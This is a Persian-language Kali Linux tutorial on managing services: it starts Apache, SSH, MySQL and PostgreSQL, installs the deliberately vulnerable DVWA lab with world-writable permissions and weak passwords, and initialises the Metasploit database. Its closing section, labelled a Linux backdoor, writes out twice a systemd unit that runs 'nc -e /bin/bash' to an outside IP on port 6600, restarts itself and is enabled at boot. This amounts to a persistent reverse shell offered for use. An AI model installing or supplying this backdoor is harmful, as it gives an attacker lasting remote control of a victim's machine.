برای آموزش تصویری
در تمامی سیستم عامل ها برای مدیریت برنامه ها از سرویس استفاده می کنند در ویندوز service.msc لیست سرویس های ویندوزی قابل مشاهده هستند و وضعیت آن ها مشخص هست آیا در حال اجرا هستند متوقف هستند و همچنین وضعیت ران شدن آن ها به صورت دستی یا اتومات می باشد.
در لینوکس نیز برای مدیریت سرویس ها از service یا systemctl استفاده می کنیم.
خوب حال به سرویس پرکاربرد می پردازیم که در کالی لینوکس از آن ها استفاده خواهید کرد چه برای راه اندازی LAB چه راه اندازی برای حمله
Apache وب سرور
apt install apache2 -y
service apache2 start
service apache2 stop
service apache2 restart
apt-get install apache2
services apache2 start
/var/www/html/index.html
openSSH سرویس
service ssh start
Mysqlسرویس
apt install dvwa -y
sudo apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA
sudo chmod -R 777 DVWA/
service mysql start
mysql -u root -p
create user ‘dvwa’@’127.0.0.1’ identified by ‘p@ssw0rd’;
grant all privileges on dvwa.* to ‘dvwa’@’127.0.0.1’ identified by ‘p@ssw0rd’;
update user set password = PASSWORD(“soheilsec”) where user = ‘root’;
sudo systemctl restart apache2.service
sudo service mysql restart
show databases;
user dvwa;
select * from users;
mysql -u root -p 192.168.1.101
برای استفاده دیتابیس متااسپلویتPostgresql سرویس
apt postgres install -y
service postgresql start
msfconsole
msfdb init
su postgres
createuser msf_user -P
createdb –owner=msf_user soheilsec
exit
db_connect msf_user:[email protected]/soheilsec
db_status
در لینوکس می توانیم یک سرویس شخصی بسازیم و با آن برنامه های خودمان را اجرا کنیم (بکدور لینوکسی)
cat > /etc/systemd/system/backdoor.service <<EOF
[Unit]
Description=Linux backdoor daemons
After=network.target
After=syslog.target
[Install]
WantedBy=multi-user.target
Alias=udptunnel.target
[Service]
Type=forking
ExecStart= /usr/bin/nc -e /bin/bash 1.1.1.1 6600 2>/dev/null
ExecStop=/usr/bin/pkill nc
TimeoutSec=600
Restart=always
PrivateTmp=false
EOF
systemctl daemon-reload
systemctl enable backdoor
systemctl start backdoor
systemctl status backdoor
cat > /etc/systemd/system/backdoor.service <<EOF
[Unit]
Description=backdoor
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash 1.1.1.1 6600 2>/dev/null
[Install] WantedBy=multi-user.target
EOF
systemctl enable backdoor
systemctl start backdoor
systemctl status backdoor